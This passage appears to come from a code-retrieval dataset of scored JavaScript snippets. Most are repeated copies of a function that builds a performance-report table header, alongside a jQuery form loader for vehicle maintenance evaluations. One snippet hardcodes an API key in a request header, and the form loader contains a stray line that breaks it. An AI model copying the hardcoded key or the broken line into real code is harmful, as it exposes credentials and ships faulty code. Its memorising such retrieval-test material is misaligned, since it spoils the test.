"" }, { "docid": "c21d56bbb2ecd065bfe0cddc65e31b1c", "score": "0.52589583", "text": "function setHeader(xhr) {\n var key = 'ef9cdebf16fb2439540ef6b1fdf77d55';\n xhr.setRequestHeader('user-key', key);\n }", "title": "" }, { "docid": "ed9d6973b25634ebb961aff435b0b660", "score": "0.5256914", "text": "function addHeaderToConfig(config) {\n config = config || {};\n config.headers = config.headers || {};\n\n // Add the header unless user asked to handle errors himself\n if (!specificallyHandleInProgress) {\n config.headers[HEADER_NAME] = true;\n }\n\n return config;\n }", "title": "" }, { "docid": "ceab7e432fb0318b5a61248403c6084e", "score": "0.5251134", "text": "function writeheader(gfc, val, j) {\n var ptr = gfc.header[gfc.h_ptr].ptr;\n\n while (j > 0) {\n var k = Math.min(j, 8 - (ptr & 7));\n j -= k;\n /* >> 32 too large for 32 bit machines */\n\n gfc.header[gfc.h_ptr].buf[ptr >> 3] |= ((val >> j)) << (8 - (ptr & 7) - k);\n ptr += k;\n }\n gfc.header[gfc.h_ptr].ptr = ptr;\n }", "title": "" }, { "docid": "d4a3353e154be94d6280630c88699bd6", "score": "0.5242814", "text": "function formatHeader(header){\n return header.replace(/ /g,\"_\");\n}", "title": "" }, { "docid": "06da99ba8d8d193a47b2352b84320d5a", "score": "0.52373195", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "06da99ba8d8d193a47b2352b84320d5a", "score": "0.52373195", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "06da99ba8d8d193a47b2352b84320d5a", "score": "0.52373195", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "06da99ba8d8d193a47b2352b84320d5a", "score": "0.52373195", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "06da99ba8d8d193a47b2352b84320d5a", "score": "0.52373195", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "06da99ba8d8d193a47b2352b84320d5a", "score": "0.52373195", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "06da99ba8d8d193a47b2352b84320d5a", "score": "0.52373195", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "06da99ba8d8d193a47b2352b84320d5a", "score": "0.52373195", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "06da99ba8d8d193a47b2352b84320d5a", "score": "0.52373195", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "06da99ba8d8d193a47b2352b84320d5a", "score": "0.52373195", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "06da99ba8d8d193a47b2352b84320d5a", "score": "0.52373195", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "06da99ba8d8d193a47b2352b84320d5a", "score": "0.52373195", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "06da99ba8d8d193a47b2352b84320d5a", "score": "0.52373195", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "06da99ba8d8d193a47b2352b84320d5a", "score": "0.52373195", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 7;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "6b5103bad191120066501cbbdd88a6e6", "score": "0.52339536", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 6;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "6b5103bad191120066501cbbdd88a6e6", "score": "0.52339536", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 6;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "6b5103bad191120066501cbbdd88a6e6", "score": "0.52339536", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 6;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "6b5103bad191120066501cbbdd88a6e6", "score": "0.52339536", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 6;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "6b5103bad191120066501cbbdd88a6e6", "score": "0.52339536", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 6;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" }, { "docid": "6b5103bad191120066501cbbdd88a6e6", "score": "0.52339536", "text": "function summaryTableHeader(header) {\n var newRow = header.insertRow(-1);\n newRow.className = \"tablesorter-no-sort\";\n var cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Requests\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 3;\n cell.innerHTML = \"Executions\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 6;\n cell.innerHTML = \"Response Times (ms)\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 1;\n cell.innerHTML = \"Throughput\";\n newRow.appendChild(cell);\n\n cell = document.createElement('th');\n cell.setAttribute(\"data-sorter\", false);\n cell.colSpan = 2;\n cell.innerHTML = \"Network (KB/sec)\";\n newRow.appendChild(cell);\n}", "title": "" } ]
eac84d6fa344475377db803aca6683e3
CARGAR REGISTRO A EDITAR
[ { "docid": "b46e8fd1f064c15ba568c734e6f5b38b", "score": "0.0", "text": "function initEditContent(){\n\t\t\t\n\t\t\t\tif (idItem != '' && idItem != 'nuevo') {\n\t\t\t\t\t\t\n\t\t\t\t\t//CAMPOS DE EDICION\t\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t $.ajax({\n\t\t\t\t\t\tdataType:'JSON',\n\t\t\t\t\t\ttype: 'POST',\n\t\t\t\t\t\turl: 'database/MantenimientoEvaluacionesGet.php?action_type=edit&id='+idItem,\n\t\t\t\t\t\tsuccess:function(data){\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tinitSedes(data.sedes_idsedes);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tinitSelectVehiculos(data.vehiculos_idvehiculos, data.sedes_idsedes);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tinitSolicitudes(data.idmantenimiento_solicitudes, data.vehiculos_idvehiculos);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tinitServiciosXsolicitud(data.idmantenimiento_solicitudes);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$('#descripcion_evaluacion').val(data.descripcion_evaluacion);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t//$('#fecha_evaluacion').datepicker('update', data.fecha_evaluacion);\n\t\t\t\t\t\t\t$('#fecha_evaluacion').val(data.fecha_evaluacion);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$('#idmantenimiento_evaluaciones').val(data.idmantenimiento_evaluaciones);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t//DESAXTIVO LOS SELECT DE SOLICITUD\n\t\t\t\t\t\t\t$('#idmantenimiento_solicitudes').prop('disabled', true);\n\t \t\t\t\t\t $('#idmantenimiento_solicitudes').selectpicker('refresh');\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$('#vehiculos_idvehiculos').prop('disabled', true);\n\t \t\t\t\t\t $('#vehiculos_idvehiculos').selectpicker('refresh');\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$('#sedes_idsedes').prop('disabled', true);\n\t \t\t\t\t\t $('#sedes_idsedes').selectpicker('refresh');\n\t\t\t\n\t\t\t\t\t\t},\n\t\t\t\t\t\terror: function(xhr) { \n\t\t\t\t\t\t\tconsole.log(xhr.statusText + xhr.responseText);\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t}else{\n\t\t\t\t\t\n\t\t\t\t\tif (idSolicitud != '' && idSolicitud != 'nuevo'){\n\t\t\t\t\t\t\n\t\t\t\t\t\t$.ajax({\n\t\t\t\t\t\t\tdataType:'JSON',\n\t\t\t\t\t\t\ttype: 'POST',\n\t\t\t\t\t\t\turl: 'database/MantenimientoSolicitudesGet.php?action_type=cabecera_solicitud&id='+idSolicitud,\n\t\t\t\t\t\t\tsuccess:function(data){\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tinitSedes(data.sedes_idsedes);\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tinitSelectVehiculos(data.vehiculos_idvehiculos, data.sedes_idsedes);\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tinitSolicitudes(data.idmantenimiento_solicitudes, data.vehiculos_idvehiculos);\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\terror: function(xhr) { \n\t\t\t\t\t\t\t\tconsole.log(xhr.statusText + xhr.responseText);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n\t\t\t\t\t\t\n\t\t\t\t\t}else{\n\t\t\t\t\t\t\n\t\t\t\t\t\tinitSedes(\"\");\n\t\t\t\t\t\t\n\t\t\t\t\t\tinitServiciosXsolicitud(\"\");\t\n1010\t\t\t\t\t\n\t\t\t\t\t}\n\n\t\t\t\t\tApp.blockUI({\n\t\t\t\t\t\ttarget: '#items_diagnostico',\n\t\t\t\t\t\tboxed: true,\n\t\t\t\t\t\ttextOnly: true,\n\t\t\t\t\t\tmessage: 'Esta sección esta bloqueda hasta que la evaluacion sea guardada'\n\t\t\t\t\t});\n\t\t\t\t\n\t\t\n\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t/***************************************/\n\t\t\t\t/* FIN DE CARGAR REGISTRO A EDITAR */\n\t\t\t\t/***************************************/\t\t\t\t\t\n\t\t\t\n\t\t}", "title": "" } ]
[ { "docid": "bf94ce263c004e30b9dc9b419333a369", "score": "0.618969", "text": "function modifie() {\r\n initialiseFormulaire(); // \"reinitialiseFormulaire\" inclus\r\n // gestion du statut des boutons de navigation\r\n Ext.getCmp('boutonPrecedent').setDisabled(!grille.selModel.hasPrevious());\r\n Ext.getCmp('boutonSuivant').setDisabled(!grille.selModel.hasNext());\r\n // remplissage du formulaire\r\n var geom = coucheEditable.selectedFeatures[0].geometry.clone(); // clônage car pas de reload ensuite si annuler\r\n Ext.getCmp('geometrie').setValue(geom.transform(carte.getProjectionObject(),\r\n new OpenLayers.Projection('EPSG:4326')));\r\n var selected = grille.selModel.getSelected();\r\n for (var donnee in selected.data) {\r\n if (Ext.getCmp(donnee)) {\r\n if (donnee == 'heure_obs') {\r\n Ext.getCmp(donnee).setValue(timeRenderer(selected.data[donnee]));\r\n }\r\n else {\r\n Ext.getCmp(donnee).setValue(selected.data[donnee]);\r\n }\r\n }\r\n }\r\n // affectation du mode en modif\r\n Ext.getCmp('action').setValue('Modifier');\r\n finaliseFormulaire(); // \"spatialiseFormulaire\" inclus\r\n}", "title": "" }, { "docid": "44342617c9dade8152931c3ea2b57e9f", "score": "0.61693543", "text": "edit() {\n\t}", "title": "" }, { "docid": "7284d4fc2035ebb990c887427f54c9de", "score": "0.6109101", "text": "function modifFiche() {\n var tabObj = recup_formulaire(document.ficheForm, 'obj');\n var tabCli = recup_formulaire(document.ficheForm, 'cli');\n tabObj['obj_marque'] = document.ficheForm.elements.namedItem('obj_marque_' + idRamdom).value;\n delete tabObj['obj_marque_' + idRamdom];\n delete tabObj['obj_etat_new'];\n console.log(tabObj);\n var tabData = Object.assign({}, tabObj, tabCli);\n x_action_updateFiche(tabToString(tabData), display_fin_modif);\n return false;\n\n}", "title": "" }, { "docid": "23a3a70cc5c553d0ea81ecd2e6b3edb2", "score": "0.6090616", "text": "function editarAutor(posicaoAutor) {\n\n // LIMPAR TODAS MENSAGENS\n limparMensagens();\n\n // OBTEM O ID DO AUTOR NA LINHA DA TABELA SELECIONADA\n let i = posicaoAutor.parentNode.parentNode.rowIndex;\n let id = (document.getElementById(\"tabela-autores\").rows[i].cells[0].innerHTML);\n let autor = buscarAutorId(id);\n\n //VARIAVEL USADA NO METODO GRAVAR(EDITAR), NECESSARIO PARA SABER QUAL POSICAO SERA EDITADA\n posicaoAutorGravar = i;\n\n // PREENCHER MODAL COM DADOS DO AUTOR PARA EDICAO\n document.getElementById(\"editar-id-autor\").value = autor.id;\n document.getElementById(\"editar-nome-autor\").value = autor.nome;\n document.getElementById(\"editar-pais-autor\").value = autor.pais;\n document.getElementById(\"editar-email-autor\").value = autor.email;\n document.getElementById(\"editar-cidade-autor\").value = autor.cidade;\n document.getElementById(\"editar-cutter-autor\").value = autor.cutter;\n document.getElementById(\"editar-data-nascimento-autor\").value = autor.dtnasc;\n\n}", "title": "" }, { "docid": "69bf79c0ece0d13b88548ad6a0d79b3b", "score": "0.60252666", "text": "editAcorriente(index){\n this.activo.a_corriente.edit = true;\n this.registro.a_corriente = index;\n 